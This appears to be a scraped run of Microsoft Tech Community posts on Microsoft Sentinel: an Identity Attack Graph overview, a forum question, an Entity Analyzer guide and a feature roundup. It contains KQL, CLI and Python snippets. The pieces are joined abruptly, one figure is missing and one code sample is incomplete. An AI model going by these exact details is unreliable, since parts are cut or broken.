Identity Attack Graph in Microsoft Sentinel
Identity is now one of the most important attack surfaces in cloud security. In many real-world incidents, attackers do not rely only on malware or network movement. Instead, they abuse identities, permissions, role assignments, group memberships, service principals, and misconfigured access paths to move from an initial compromise to high-value resources. This is why the new Identity Attack Graph in Microsoft Sentinel is an important capability. It helps security teams visualize how identities are connected to Azure resources and how an attacker could potentially move from one identity to another resource through permissions and relationships. What is the Identity Attack Graph? The Identity Attack Graph in Microsoft Sentinel provides a visual way to understand how identities, permissions, groups, and Azure resources are connected. Instead of manually checking multiple portals, logs, and role assignments, the graph helps analysts understand relationships such as: Which identities have access to specific Azure resources Which users or service principals are over-privileged Which groups provide indirect access to sensitive resources Which identities may have a path to critical assets What the potential blast radius of a compromised identity could be How attackers could move laterally through identity and permission relationships This is especially useful because identity risk is often not obvious when looking at a single user, group, or role assignment in isolation. The real risk usually appears when these relationships are connected together. A user may not directly have access to a sensitive resource, but the user may be a member of a group that has access to another resource, which then has permissions that create a path toward a high-value asset. The Identity Attack Graph helps expose these hidden relationships. Why this matters In many Azure environments, permissions grow over time. Users change roles, groups are reused, emergency access is granted, service principals are created, and temporary permissions are not always removed. As a result, organizations often end up with: Too many privileged identities Unused or stale permissions Service principals with excessive access Guest users with unnecessary permissions Groups that provide indirect access to sensitive resources Subscription-level roles that are broader than required Lack of visibility into who can reach critical assets Traditional investigation usually requires analysts to move between several places, including Microsoft Entra ID, Azure RBAC, Azure Activity logs, Sentinel queries, Defender XDR, and Azure Resource Graph. The Identity Attack Graph reduces this complexity by presenting identity relationships as a connected graph. This makes it easier to answer practical security questions such as: “What can this identity access?” “What happens if this user is compromised?” “Which identities have a path to critical resources?” “Which access path should we remediate first?” “Which permissions create the highest risk?” “Why does this identity have access to this asset?” Key use cases The feature can support several important identity security and cloud security scenarios. 1. Attack path discovery Security teams can use the graph to identify how an attacker could move from a compromised identity to a sensitive Azure resource. This is useful during both proactive assessments and active incident response. For example, if a user account is suspected to be compromised, the graph can help identify which resources may be reachable through that identity’s direct or indirect permissions. 2. Blast-radius analysis When an identity is compromised, one of the first questions is: What could the attacker access with this identity? The Identity Attack Graph can help analysts understand the potential impact of a compromised user, group, service principal, or managed identity. This can help with containment, prioritization, and communication with stakeholders. 3. Over-privileged identity detection The graph can help identify identities that have more permissions than they need. Include: Users with Owner or Contributor access at subscription level Service principals with broad permissions Guest users with privileged access Groups that grant access to sensitive resources Identities that have access to multiple critical assets This is useful for enforcing least privilege and reducing identity attack surface. 4. Privileged access review IAM and cloud security teams can use the graph to support access reviews. Instead of only reviewing a list of role assignments, teams can understand the real impact of those permissions. This helps answer: Is this role assignment still required? Does this group create unnecessary risk? Does this identity have access to critical resources? Is this access direct or inherited? Is this path expected or suspicious? 5. Incident response and threat hunting For SOC teams, the graph can support investigations involving: Suspicious sign-ins Compromised users Privilege escalation Suspicious role assignments Lateral movement Service principal abuse Unusual access to sensitive resources The graph does not replace logs or hunting queries, but it gives analysts a faster way to understand relationships and prioritize what to investigate next. Important prerequisites and setup notes During my evaluation, there were a few important setup requirements that should be clearly highlighted. Microsoft Sentinel permissions The environment must already be onboarded to Microsoft Sentinel, and the user testing or configuring the feature must have the appropriate Microsoft Sentinel permissions. The documented role requirement includes Microsoft Sentinel Contributor. However, in my experience, this is not always enough for the full onboarding and validation experience. Subscription-level Owner permission One important prerequisite that should be clearly mentioned is that Owner permissions at the Azure subscription level may be required. This is especially important during onboarding and activation, because the graph depends on access to Azure resource and permission relationships. If the user does not have sufficient subscription-level permissions, some setup steps or visibility into resources and relationships may not work as expected. Recommended permission note: In addition to Microsoft Sentinel permissions, ensure that the user configuring the preview has Owner permissions at the subscription level for the subscriptions that should be represented in the graph. This should be made very clear in the onboarding documentation to avoid confusion during deployment. Required data connector: Azure Resource Graph Another very important setup step is the Azure Resource Graph data connector. The Azure Resource Graph connector must be: Installed manually Activated manually Connected to the relevant Sentinel workspace This is a key point. The connector is not automatically enabled just because the Identity Attack Graph feature is available. Without this connector, Sentinel may not have the required Azure resource relationship data needed to build a useful graph. Why Azure Resource Graph is important Azure Resource Graph provides visibility across Azure resources, subscriptions, and relationships. For an identity attack graph, this data is essential. The graph needs to understand not only identities, but also the resources those identities can reach. This may include: Subscriptions Resource groups Storage accounts Key Vaults Virtual machines Managed identities Role assignments Resource relationships Resource hierarchy Critical assets Without Azure Resource Graph data, the attack graph may not provide the full picture of how identities connect to Azure resources. For this reason, I believe the onboarding instructions should explicitly state: The Azure Resource Graph data connector must be manually installed and activated before using the Identity Attack Graph. Recommended onboarding checklist Before using the Identity Attack Graph, I would recommend validating the following: Requirement Recommendation Microsoft Sentinel workspace Ensure the workspace is active and accessible Sentinel role Microsoft Sentinel Contributor or equivalent access Subscription permissions Owner permissions at subscription level Azure Resource Graph connector Manually install and activate the connector Azure RBAC visibility Ensure access to relevant role assignments Microsoft Entra ID visibility Ensure identity and group data is available Resource visibility Validate that relevant subscriptions and resources are visible Data freshness Allow enough time for data collection and graph population This checklist can help avoid issues where the feature appears available but does not show the expected relationships. How the Identity Attack Graph improves investigation Before using a graph-based approach, an analyst often needs to manually collect and correlate data from multiple sources. A typical investigation may include: Checking the user in Microsoft Entra ID Reviewing group memberships Reviewing Azure RBAC assignments Checking subscription-level access Looking at resource-level permissions Reviewing PIM activations Searching Sentinel logs Running KQL queries Checking Azure Activity logs Validating access with cloud or IAM teams This process can be time-consuming. The Identity Attack Graph helps reduce this effort by showing relationships visually. This allows the analyst to understand the possible path faster and decide where to focus. For example, instead of manually asking: “Does this user have access to this resource through any group, role, or inherited permission?” The graph can help show the relationship directly. This is valuable because many risky permissions are indirect. The user may not have direct access, but may inherit access through a group, role assignment, nested relationship, or service principal path. Where validation is still needed Although the graph provides strong visibility, I would still validate findings before taking remediation action. This is especially important because removing access can affect business operations or production systems. I would still validate with: Microsoft Sentinel KQL queries Microsoft Entra sign-in logs Microsoft Entra audit logs Azure Activity logs Azure RBAC role assignments PIM activation history Defender XDR signals Defender for Cloud recommendations Azure Resource Graph queries IAM team input Cloud platform team input Application owner confirmation The graph is very useful for discovery and prioritization, but final remediation decisions should still be validated. GQL and graph-based investigation One of the interesting aspects of this feature is the use of graph-based thinking. Security teams are already familiar with query languages such as KQL for log analytics. However, graph investigation is different. KQL is excellent for searching and analyzing events over time, such as sign-ins, alerts, audit logs, and activity logs. Graph Query Language, or GQL, is designed for querying connected data. Instead of only asking what happened at a specific time, graph queries help answer how entities are connected. In identity security, this is very powerful because the risk often exists in the relationship between objects. Graph entities include: Users Groups Service principals Managed identities Roles Subscriptions Resource groups Azure resources Permissions Sessions Attack paths Graph relationships include: User is member of group Group has role assignment Identity has access to resource Service principal owns application Managed identity can access Key Vault User can escalate privilege Identity can reach critical asset This allows analysts to ask more relationship-focused questions, such as: Which identities can reach this resource? What is the shortest path from this user to a critical asset? Which groups create privileged access? Which service principals have paths to sensitive resources? Which identities have indirect access through nested relationships? Which attack paths include subscription Owner or Contributor permissions? KQL vs GQL: why both are useful KQL and GQL serve different but complementary purposes. Area KQL GQL / Graph Querying Main purpose Analyze logs and events Analyze relationships and paths Best for Time-based investigation Connected identity/resource investigation question “Did this user sign in from a risky location?” “What resources can this user reach?” Data model Tables Nodes and edges Common use Detection, hunting, analytics Attack path discovery, relationship mapping Strength Event correlation Path discovery In practice, security teams need both. KQL can identify a suspicious sign-in. The Identity Attack Graph can show what the compromised identity could access. KQL can then be used again to validate whether the attacker interacted with those resources. This creates a strong workflow between event-based detection and relationship-based investigation. Graph investigation scenarios The following are conceptual are the types of graph questions that would be useful in identity attack path analysis. Find paths from a user to critical resources A useful graph query would help answer: Show me all paths from this user to critical Azure resources. This could help determine whether a compromised identity has a direct or indirect route to sensitive assets. Find identities with paths to Key Vaults Key Vaults often contain secrets, certificates, and keys. A graph query could help identify: Which users, groups, service principals, or managed identities have a path to Key Vault resources? This would be useful for prioritizing access review and remediation. Find subscription-level privileged identities Subscription-level roles are high-impact because they can provide broad access. A graph query could help find: Which identities have Owner or Contributor access at subscription level? This is especially important because subscription-level permissions can create wide attack paths. Find indirect access through groups Many access paths are created through group membership. A graph query could help answer: Which users have access to this resource through group membership? This can help IAM teams clean up excessive or unnecessary group-based access. Find service principals with broad access Service principals are often used for automation and applications, but they can become high-risk if over-privileged. A useful query would identify: Which service principals have broad access to subscriptions or critical resources? This is important because service principal compromise can lead to significant impact. How GQL can improve analyst workflows Adding strong GQL support to the graph explorer would make the feature more powerful for advanced users. You could use graph queries to: Search for specific paths Filter by identity type Filter by role Filter by resource type Find shortest paths Find high-risk paths Exclude known approved paths Focus on critical assets Query only privileged relationships Identify unexpected permission chains This would help both SOC analysts and cloud security engineers move from visual exploration to repeatable analysis. A SOC analyst may want a quick visual graph during an incident, while a cloud security engineer
MDO query of EmailEvents is not accepted in the flow which is why causing the badgateway error
When used the following MDO query of EmailEvents it is working in the Defender control panel but when applied through 'Advanced Hunting' action in Power automate application given bad gateway error. Is this query supported in this application?Microsoft Sentinel MCP Entity Analyzer: Explainable risk analysis for URLs and identities
What makes this release important is not just that it adds another AI feature to Sentinel. It changes the implementation model for enrichment and triage. Instead of building and maintaining a chain of custom playbooks, KQL lookups, threat intel checks, and entity correlation logic, SOC teams can call a single analyzer that returns a reasoned verdict and supporting evidence. Microsoft positions the analyzer as available through Sentinel MCP server connections for agent platforms and through Logic Apps for SOAR workflows, which makes it useful both for interactive investigations and for automated response pipelines. Why this matters First, it formalizes Entity Analyzer as a production feature rather than a preview experiment. Second, it introduces a real cost model, which means organizations now need to govern usage instead of treating it as a free enrichment helper. Third, Microsoft’s documentation is now detailed enough to support repeatable implementation patterns, including prerequisites, limits, required tables, Logic Apps deployment, and cost behavior. From a SOC engineering perspective, Entity Analyzer is interesting because it focuses on explainability. Microsoft describes the feature as generating clear, explainable verdicts for URLs and user identities by analyzing multiple modalities, including threat intelligence, prevalence, and organizational context. That is a much stronger operational model than simple point-enrichment because it aims to return an assessment that analysts can act on, not just more raw evidence What Entity Analyzer actually does The Entity Analyzer tools are described as AI-powered tools that analyze data in the Microsoft Sentinel data lake and provide a verdict plus detailed insights on URLs, domains, and user entities. Microsoft explicitly says these tools help eliminate the need for manual data collection and complex integrations usually required for investigation and enrichment hat positioning is important. In practice, many SOC teams have built enrichment playbooks that fetch sign-in history, query TI feeds, inspect click data, read watchlists, and collect relevant alerts. Those workflows work, but they create maintenance overhead and produce inconsistent analyst experiences. Entity Analyzer centralizes that reasoning layer. For user entities, Microsoft’s preview architecture explains that the analyzer retrieves sign-in logs, security alerts, behavior analytics, cloud app events, identity information, and Microsoft Threat Intelligence, then correlates those signals and applies AI-based reasoning to produce a verdict. Microsoft lists verdict examples such as Compromised, Suspicious activity found, and No evidence of compromise, and also warns that AI-generated content may be incorrect and should be checked for accuracy. That warning matters. The right way to think about Entity Analyzer is not “automatic truth,” but “high-value, explainable triage acceleration.” It should reduce analyst effort and improve consistency, while still fitting into human review and response policy. Under the hood: the implementation model Technically, Entity Analyzer is delivered through the Microsoft Sentinel MCP data exploration tool collection. Microsoft documents that entity analysis is asynchronous: you start analysis, receive an identifier, and then poll for results. The docs note that analysis may take a few minutes and that the retrieval step may need to be run more than once if the internal timeout is not enough for long operations. That design has two immediate implications for implementers. First, this is not a lightweight synchronous enrichment call you should drop carelessly into every automation branch. Second, any production workflow should include retry logic, timeouts, and concurrency controls. If you ignore that, you will create fragile playbooks and unnecessary SCU burn. The supported access path for the data exploration collection requires Microsoft Sentinel data lake and one of the supported MCP-capable platforms. Microsoft also states that access to the tools is supported for identities with at least Security Administrator, Security Operator, or Security Reader. The data exploration collection is hosted at the Sentinel MCP endpoint, and the same documentation notes additional Entity Analyzer roles related to Security Copilot usage. The prerequisite many teams will miss The most important prerequisite is easy to overlook: Microsoft Sentinel data lake is required. This is more than a licensing footnote. It directly affects data quality, analyzer usefulness, and rollout success. If your organization has not onboarded the right tables into the data lake, Entity Analyzer will either fail or return reduced-confidence output. For user analysis, the following tables are required to ensure accuracy: AlertEvidence, SigninLogs, CloudAppEvents, and IdentityInfo. also notes that IdentityInfo depends on Defender for Identity, Defender for Cloud Apps, or Defender for Endpoint P2 licensing. The analyzer works best with AADNonInteractiveUserSignInLogs and BehaviorAnalytics as well. For URL analysis, the analyzer works best with EmailUrlInfo, UrlClickEvents, ThreatIntelIndicators, Watchlist, and DeviceNetworkEvents. If those tables are missing, the analyzer returns a disclaimer identifying the missing sources A practical architecture view An incident, hunting workflow, or analyst identifies a high-interest URL or user. A Sentinel MCP client or Logic App calls Entity Analyzer. Entity Analyzer queries relevant Sentinel data lake sources and correlates the findings. AI reasoning produces a verdict, evidence narrative, and recommendations. The result is returned to the analyst, incident record, or automation workflow for next-step action. This model is especially valuable because it collapses a multi-query, multi-tool investigation pattern into a single explainable decisioning step. Where it fits in real Sentinel operations Entity Analyzer is not a replacement for analytics rules, UEBA, or threat intelligence. It is a force multiplier for them. For identity triage, it fits naturally after incidents triggered by sign-in anomaly detections, UEBA signals, or Defender alerts because it already consumes sign-in logs, cloud app events, and behavior analytics as core evidence sources. For URL triage, it complements phishing and click-investigation workflows because it uses TI, URL activity, watchlists, and device/network context. Implementation path 1: MCP clients and security agents Microsoft states that Entity Analyzer integrates with agents through Sentinel MCP server connections to first-party and third-party AI runtime platforms. In practice, this makes it attractive for analyst copilots, engineering-side investigation agents, and guided triage experiences The benefit of this model is speed. A security engineer or analyst can invoke the analyzer directly from an MCP-capable client without building a custom orchestration layer. The tradeoff is governance: once you make the tool widely accessible, you need a clear policy for who can run it, when it should be used, and how results are validated before action is taken. Implementation path 2: Logic Apps and SOAR playbooks For SOC teams, Logic Apps is likely the most immediately useful deployment model. Microsoft documents an entity analyzer action inside the Microsoft Sentinel MCP tools connector and provides the required parameters for adding it to an existing logic app. These include: Workspace ID Look Back Days Properties payload for either URL or User The documented payloads are straightforward: { "entityType": "Url", "url": "[URL]" } And { "entityType": "User", "userId": "[Microsoft Entra object ID or User Principal Name]" } Also states that the connector supports Microsoft Entra ID, service principals, and managed identities, and that the Logic App identity requires Security Reader to operate. This makes playbook integration a strong pattern for incident enrichment. A high-severity incident can trigger a playbook, extract entities, invoke Entity Analyzer, and post the verdict back to the incident as a comment or decision artifact. The concurrency lesson most people will learn the hard way Unusually direct guidance on concurrency: to avoid timeouts and threshold issues, turn on Concurrency control in Logic Apps loops and start with a degree of parallelism of . The data exploration doc repeats the same guidance, stating that running multiple instances at once can increase latency and recommending starting with a maximum of five concurrent analyses. This is a strong indicator that the correct implementation pattern is selective analysis, not blanket analysis. Do not analyze every entity in every incident. Analyze the entities that matter most: external URLs in phishing or delivery chains accounts tied to high-confidence alerts entities associated with high-severity or high-impact incidents suspicious users with multiple correlated signals That keeps latency, quota pressure, and SCU consumption under control. KQL still matters Entity Analyzer does not eliminate KQL. It changes where KQL adds value. Before running the analyzer, KQL is still useful for scoping and selecting the right entities. After the analyzer returns, KQL is useful for validation, deeper hunting, and building custom evidence views around the analyzer’s verdict. For example, a simple sign-in baseline for a target user: let TargetUpn = "email address removed for privacy reasons"; SigninLogs | where TimeGenerated between (ago(7d) .. now()) | where UserPrincipalName == TargetUpn | summarize Total=count(), Failures=countif(ResultType != "0"), Successes=countif(ResultType == "0"), DistinctIPs=dcount(IPAddress), Apps=make_set(AppDisplayName, 20) by bin(TimeGenerated, 1d) | order by TimeGenerated desc And a lightweight URL prevalence check: let TargetUrl = "omicron-obl.com"; UrlClickEvents | where TimeGenerated between (ago(7d) .. now()) | search TargetUrl | take 50 Cost, billing, and governance GA is where technical excitement meets budget reality. Microsoft’s Sentinel billing documentation says there is no extra cost for the MCP server interface itself. However, for Entity Analyzer, customers are charged for the SCUs used for AI reasoning and also for the KQL queries executed against the Microsoft Sentinel data lake. Microsoft further states that existing Security Copilot entitlements apply The April 2026 “What’s new” entry also explicitly says that starting April 1, 2026, customers are charged for the SCUs required when using Entity Analyzer. That means every rollout should include a governance plan: define who can invoke the analyzer decide when playbooks are allowed to call it monitor SCU consumption limit unnecessary repeat runs preserve results in incident records so you do not rerun the same analysis within a short period Microsoft’s MCP billing documentation also defines service limits: 200 total runs per hour, 500 total runs per day, and around 15 concurrent runs every five minutes, with analysis results available for one hour. Those are not just product limits. They are design requirements. Limitations you should state clearly The analyze_user_entity supports a maximum time window of seven days and only works for users with a Microsoft Entra object ID. On-premises Active Directory-only users are not supported for user analysis. Microsoft also says Entity Analyzer results expire after one hour and that the tool collection currently supports English prompts only. Recommended rollout pattern If I were implementing this in a production SOC, I would phase it like this: Start with a narrow set of high-value use cases, such as suspicious user identities and phishing-related URLs. Confirm that the required tables are present in the data lake. Deploy a Logic App enrichment pattern for incident-triggered analysis. Add concurrency control and retry logic. Persist returned verdicts into incident comments or case notes. Then review SCU usage and analyst value before expanding coverage.What’s New in Microsoft Sentinel and XDR: AI Automation, Data Lake Innovation, and Unified SecOps
The most consequential “new” Microsoft Sentinel / Defender XDR narrative for a deeply technical Microsoft Tech Community article is the operational and engineering shift to unified security operations in the Microsoft Defender portal, including an explicit Azure portal retirement/sunset timeline and concrete migration implications (data tiering, correlation engine changes, schema differences, and automation behavior changes). Official sources now align on March 31, 2027 as the sunset date for managing Microsoft Sentinel in the Azure portal, with customers being redirected to the Defender portal after that date. The “headline” feature announcements to anchor your article around (because they create new engineering patterns, not just UI changes) are: AI playbook generator (preview): Natural-language-driven authoring of Python playbooks in an embedded VS Code environment (Cline), using Integration Profiles for dynamic API calls and an Enhanced Alert Trigger for broader automation triggering across Microsoft Sentinel, Defender, and XDR alert sources. CCF Push (public preview): A push-based connector model built on the Azure Monitor Logs Ingestion API, where deploying via Content Hub can automate provisioning of the typical plumbing (DCR/DCE/app registration/RBAC), enabling near-real-time ingestion plus ingestion-time transformations and (per announcement) direct delivery into certain system tables. Data lake tier ingestion for Advanced Hunting tables (GA): Direct ingestion of specific Microsoft XDR Advanced Hunting tables into the Microsoft Sentinel data lake without requiring analytics-tier ingestion—explicitly positioned for long-retention, cost-effective storage and retrospective investigations at scale. Microsoft 365 Copilot data connector (public preview): Ingests Copilot-related audit/activity events via the Purview Unified Audit Log feed into a dedicated table (CopilotActivity) with explicit admin-role requirements and cost notes. Multi-tenant content distribution expansion: Adds support for distributing analytics rules, automation rules, workbooks, and built-in alert tuning rules across tenants via distribution profiles, with stated limitations (for example, automation rules that trigger a playbook cannot currently be distributed). Alert schema differences for “standalone vs XDR connector”: A must-cite engineering artifact documenting breaking/behavioral differences (CompromisedEntity semantics, field mapping changes, alert filtering differences) when moving to the consolidated Defender XDR connector path. What’s new and when Feature and release matrix The table below consolidates officially documented Sentinel and Defender XDR features that are relevant to a “new announcements” technical article. If a source does not explicitly state GA/preview or a specific date, it is marked “unspecified.” Feature Concise description Status (official) Announcement / release date Azure portal Sentinel retirement / redirection Sentinel management experience shifts to Defender portal; sunset date extended; post-sunset redirection expected Date explicitly stated Mar 31, 2027 sunset (date stated) extension published Jan 29, 2026 Sentinel in Defender portal (core GA) Sentinel is GA in Defender portal, including for customers without Defender XDR/E5; unified SecOps surface GA Doc updated Sep 30, 2025; retirement note reiterated 2026 AI playbook generator Natural language → Python playbook, documentation, and a visual flow diagram; VS Code + Cline experience Preview Feb 23, 2026 Integration Profiles (playbook generator) Centralized configuration objects (base URL, auth method, credentials) used by generated playbooks to call external APIs dynamically Preview feature component Feb 23, 2026 Enhanced Alert Trigger (generated playbooks) Tenant-level trigger designed to target alerts across Sentinel + Defender + XDR sources and apply granular conditions Preview feature component Feb 23, 2026 CCF Push Push-based ingestion model that reduces setup friction (DCR/DCE/app reg/RBAC), built on Logs Ingestion API; supports transformations and high-throughput ingestion Public preview Feb 12–13, 2026 Legacy custom data collection API retirement Retirement of legacy custom data collection API noted as part of connector modernization Retirement date stated Sep 2026 (retirement) Data lake tier ingestion for Microsoft XDR Advanced Hunting tables Ingest selected Advanced Hunting tables from MDE/MDO/MDA directly into Sentinel data lake; supports long retention and lake-first analytics GA Feb 10, 2026 Microsoft 365 Copilot data connector Ingests Copilot activities/audit logs; data lands in CopilotActivity; requires specific tenant roles to enable; costs apply Public preview Feb 3, 2026 Multi-tenant content distribution: expanded content types Adds support for analytics rules, automation rules, workbooks, and built-in alert tuning rules; includes limitations and prerequisites Stated as “supported”; feature described as part of public preview experience in monthly update Jan 29, 2026 GKE dedicated connector Dedicated connector built on CCF; ingests GKE cluster activity/workload/security events into GKEAudit; supports DCR transformations and lake-only ingestion GA Mar 4, 2026 UEBA behaviors layer “Who did what to whom” behavior abstraction from raw logs; newer sources state GA; other page sections still label Preview GA and Preview labels appear in official sources (inconsistent) Feb 2026 (GA statement) UEBA widget in Defender portal home Home-page widget to surface anomalous user behavior and accelerate workflows Preview Jan 2026 Alert schema differences: standalone vs XDR connector Documents field mapping differences, CompromisedEntity behavior changes, and alert filtering/scoping differences Doc (behavioral/change reference) Feb 4, 2026 (last updated) Defender incident investigation: Blast radius analysis Graph visualization built on Sentinel data lake + graph for propagation path analysis Preview (per Defender XDR release notes) Sep 2025 (release notes section) Advanced hunting: Hunting graph Graph rendering of predefined threat scenarios in advanced hunting Preview (per Defender XDR release notes) Sep 2025 (release notes section) Sentinel repositories API version retirement “Call to action” to update API versions: older versions retired June 1, 2026; enforcement June 15, 2026 for actions Dates explicitly stated March 2026 (noticed); Jun 1 / Jun 15, 2026 (deadline/enforcement) Technical architecture and integrations Unified reference architecture Microsoft’s official integration documentation describes two “centers of gravity” depending on how you operate: In Defender portal mode, Sentinel data is ingested alongside organizational data into the Defender portal, enabling SOC teams to analyze and respond from a unified surface. In Azure portal mode, Defender XDR incidents/alerts flow via Sentinel connectors and analysts work across both experiences. Integration model: Defender suite and third-party security tools The Defender XDR integration doc is explicit about: Supported Defender components whose alerts appear through the integration (Defender for Endpoint, Identity, Office 365, Cloud Apps), plus other services such as Purview DLP and Entra ID Protection. Behavior when onboarding Sentinel to the Defender portal with Defender XDR licensing: the Defender XDR connector is automatically set up and component alert-provider connectors are disconnected. Expected latency: Defender XDR incidents typically appear in Sentinel UI/API within ~5 minutes, with additional lag before securityIncident ingestion is complete. Cost model: Defender XDR alerts and incidents that populate SecurityAlert / SecurityIncident are synchronized at no charge, while other data types (for example, Advanced Hunting tables) are charged. For third-party tools, Microsoft’s monthly “What’s new” explicitly calls out new GA out-of-the-box connectors/solutions (examples include Mimecast audit logs, Vectra AI XDR, and Proofpoint POD email security) as part of an expanding connector ecosystem intended to unify visibility across cloud, SaaS, and on-premises environments. Telemetry, schemas, analytics, automation, and APIs Data flows and ingestion engineering CCF Push and the “push connector” ingestion path Microsoft’s CCF Push announcement frames the “old” model as predominantly polling-based (Sentinel periodically fetching from partner/customer APIs) and introduces push-based connectors where partners/customers send data directly to a Sentinel workspace, emphasizing that “Deploy” can auto-provision the typical prerequisites: DCE, DCR, Entra app registration + secrets, and RBAC assignments. Microsoft also states that CCF Push is built on the Logs Ingestion API, with benefits including throughput, ingestion-time transformation, and system-table targeting. A precise engineering description of the underlying Logs Ingestion API components (useful for your article even if your readers never build a connector) is documented in Azure Monitor: Sender app authenticates via an app registration that has access to a DCR. Sender sends JSON matching the DCR’s expected structure to a DCR endpoint or a DCE (DCE required for Private Link scenarios). The DCR can apply a transformation to map/filter/enrich before writing to the target table. DCR transformation (KQL) Microsoft documents “transformations in Azure Monitor” and provides concrete sample KQL snippets for common needs such as cost reduction and enrichment. // Keep only Critical events source | where severity == "Critical" // Drop a noisy/unneeded column source | project-away RawData // Enrich with a simple internal/external IP classification (example) source | extend IpLocation = iff(split(ClientIp,".")[0] in ("10","192"), "Internal", "External") These are direct examples from Microsoft’s sample transformations guidance; they are especially relevant because ingestion-time filtering is one of the primary levers for both performance and cost management in Sentinel pipelines. A Sentinel-specific nuance: Microsoft states that Sentinel-enabled Log Analytics workspaces are not subject to Azure Monitor’s filtering ingestion charge, regardless of how much data a transformation filters (while other Azure Monitor transformation cost rules still exist in general). Telemetry schemas and key tables you should call out A “new announcements” article aimed at detection engineers should explicitly name the tables that are impacted by new features: Copilot connector → CopilotActivity table, with a published list of record types (for example, CopilotInteraction and related plugin/workspace/prompt-book operations) and explicit role requirements to enable (Global Administrator or Security Administrator). Defender XDR incident/alert sync → SecurityAlert and SecurityIncident populated at no charge; other Defender data types (Advanced Hunting event tables such as DeviceInfo/EmailEvents) are charged. Sentinel onboarding to Defender advanced hunting: Sentinel alerts tied to incidents are ingested into AlertInfo and accessible in Advanced hunting; SecurityAlert is queryable even if not shown in the schema list in Defender (notable for KQL portability). UEBA “core” tables (engineering relevance: query joins and tuning): IdentityInfo, BehaviorAnalytics, UserPeerAnalytics, Anomalies. UEBA behaviors layer tables (new behavior abstraction): SentinelBehaviorInfo and SentinelBehaviorEntities, created only if behaviors layer is enabled. Microsoft XDR Advanced Hunting lake tier ingestion GA: explicit supported tables from MDE/MDO/MDA (for example DeviceProcessEvents, DeviceNetworkEvents, EmailEvents, UrlClickEvents, CloudAppEvents) and an explicit note that MDI support will follow. Detection and analytics: UEBA and graph UEBA operating model and scoring Microsoft’s UEBA documentation gives you citeable technical detail: UEBA uses machine learning to build behavioral profiles and detect anomalies versus baselines, incorporating peer group analysis and “blast radius evaluation” concepts. Risk scoring is described with two different scoring models: BehaviorAnalytics.InvestigationPriority (0–10) vs Anomalies.AnomalyScore (0–1), with different processing characteristics (near-real-time/event-level vs batch/behavior-level). UEBA Essentials is positioned as a maintained pack of prebuilt queries (including multi-cloud anomaly detection), and Microsoft’s February 2026 update adds detail about expanded anomaly detection across Azure/AWS/GCP/Okta and the anomalies-table-powered queries. Sentinel data lake and graph as the new “analytics substrate” Microsoft’s data lake overview frames a two-tier model: Analytics tier: high-performance, real-time analytics supporting alerting/incident management. Data lake tier: centralized long-term storage for querying and Python-based analytics, designed for retention up to 12 years, with “single-copy” mirroring (data in analytics tier mirrored to lake tier). Microsoft’s graph documentation states that if you already have Sentinel data lake, the required graph is auto-provisioned when you sign into the Defender portal, enabling experiences like hunting graph and blast radius. Microsoft also notes that while the experiences are included in existing licensing, enabling data sources can incur ingestion/processing/storage costs. Automation: AI playbook generator details that matter technically The playbook generator doc contains unusually concrete engineering constraints and required setup. Key technical points to carry into your article: Prerequisites: Security Copilot must be enabled with SCUs available (Microsoft states SCUs aren’t billed for playbook generation but are required), and the Sentinel workspace must be onboarded to Defender. Roles: Sentinel Contributor is required for authoring Automation Rules, and a Detection tuning role in Entra is required to use the generator; permissions may take up to two hours to take effect. Integration Profiles: explicitly defined as Base URL + auth method + required credentials; cannot change API URL/auth method after creation; supports multiple auth methods including OAuth2 client credentials, API key, AWS auth, Bearer/JWT, etc. Enhanced Alert Trigger: designed for broader coverage across Sentinel, Defender, and XDR alerts and tenant-level automation consistency. Limitations: Python only, alerts as the sole input type, no external libraries, max 100 playbooks/tenant, 10-minute runtime, line limits, and separation of enhanced trigger rules from standard alert trigger rules (no automatic migration). APIs and code/CLI (official) Create/update a DCR with Azure CLI (official) Microsoft documents an az monitor data-collection rule create workflow to create/update a DCR from a JSON file, which is directly relevant if your readers build their own “push ingestion” paths outside of CCF Push or need transformations not supported via a guided connector UI. az monitor data-collection rule create \ --location 'eastus' \ --resource-group 'my-resource-group' \ --name 'my-dcr' \ --rule-file 'C:\MyNewDCR.json' \ --description 'This is my new DCR' Send logs via Azure Monitor Ingestion client (Python) (official) Microsoft’s Azure SDK documentation provides a straightforward LogsIngestionClient pattern (and the repo samples document the required environment variables such as DCE, rule immutable ID, and stream name). import os from azure.identity import DefaultAzureCredential from azure.monitor.ingestion import LogsIngestionClient endpoint = os.environ["DATA_COLLECTION_ENDPOINT"] rule_id = os.environ["LOGS_DCR_RULE_ID"] # DCR immutable ID stream_name = os.environ["LOGS_DCR_STREAM_NAME"] # stream name in DCR credential = DefaultAzureCredential() client = LogsIngestionClient(endpoint=endpoint, credential=credential) body = [ {"Time": "2026-03-18T00:00:00Z", "Computer": "host1", "AdditionalContext": "example"} ] # Actual upload method name/details depend on SDK version and sample specifics. # Refer to official ingestion samples and README for the exact call. The repo sample and README explicitly define the environment variables and the use of LogsIngestionClient + DefaultAzureCredential. Sentinel repositories API version retirement (engineering risk) Microsoft’s Sentinel release notes contain an explicit “call to action” that older REST API versions used for Sentinel Repositories will be retired (June 1, 2026) and that Source Control actions using older versions will stop being supported (starting June 15, 2026), recommending migration to specific versions. This is critical for “content-as-code” SOC engineering pipelines. Migration and implementation guidance Prerequisites and planning gates A technically rigorous migration section should treat this as a set of gating checks. Microsoft’s transition guidance highlights several that can materially block or change behavior: Portal transition has no extra cost: Microsoft explicitly states transitioning to the Defender portal has no extra cost (billing remains Sentinel consumption). Data storage and privacy policies change: after onboarding, Defender XDR policies apply even when working with Sentinel data (data retention/sharing differences). Customer-managed keys constraint for data lake: CMK is not supported for data stored in Sentinel data lake; even broader, Sentinel data lake onboarding doc warns that CMK-enabled workspaces aren’t accessible via data lake experiences and that data ingested into the lake is encrypted with Microsoft-managed keys. Region and data residency implications: data lake is provisioned in the primary workspace’s region and onboarding may require consent to ingest Microsoft 365 data into that region if it differs. Data appearance lag when switching tiers: enabling ingestion for the first time or switching between tiers can take 90–120 minutes for data to appear in tables. Step-by-step configuration tasks for the most “new” capabilities Enable lake-tier ingestion for Advanced Hunting tables (GA) Microsoft’s GA announcement provides direct UI steps in the Defender portal: Defender portal → Microsoft Sentinel → Configuration → Tables Select an Advanced Hunting table (from the supported list) Data Retention Settings → choose “Data lake tier” + set retention + save Microsoft states that this allows Defender data to remain accessible in the Advanced Hunting table for 30 days while a copy is sent to Sentinel data lake for long-term retention (up to 12 years) and graph/MCP-related scenarios. Deploy the Microsoft 365 Copilot data connector (public preview) Microsoft’s connector post provides the operational steps and requirements: Install via Content Hub in the Defender portal (search “Copilot”, install solution, open connector page). Enablement requires 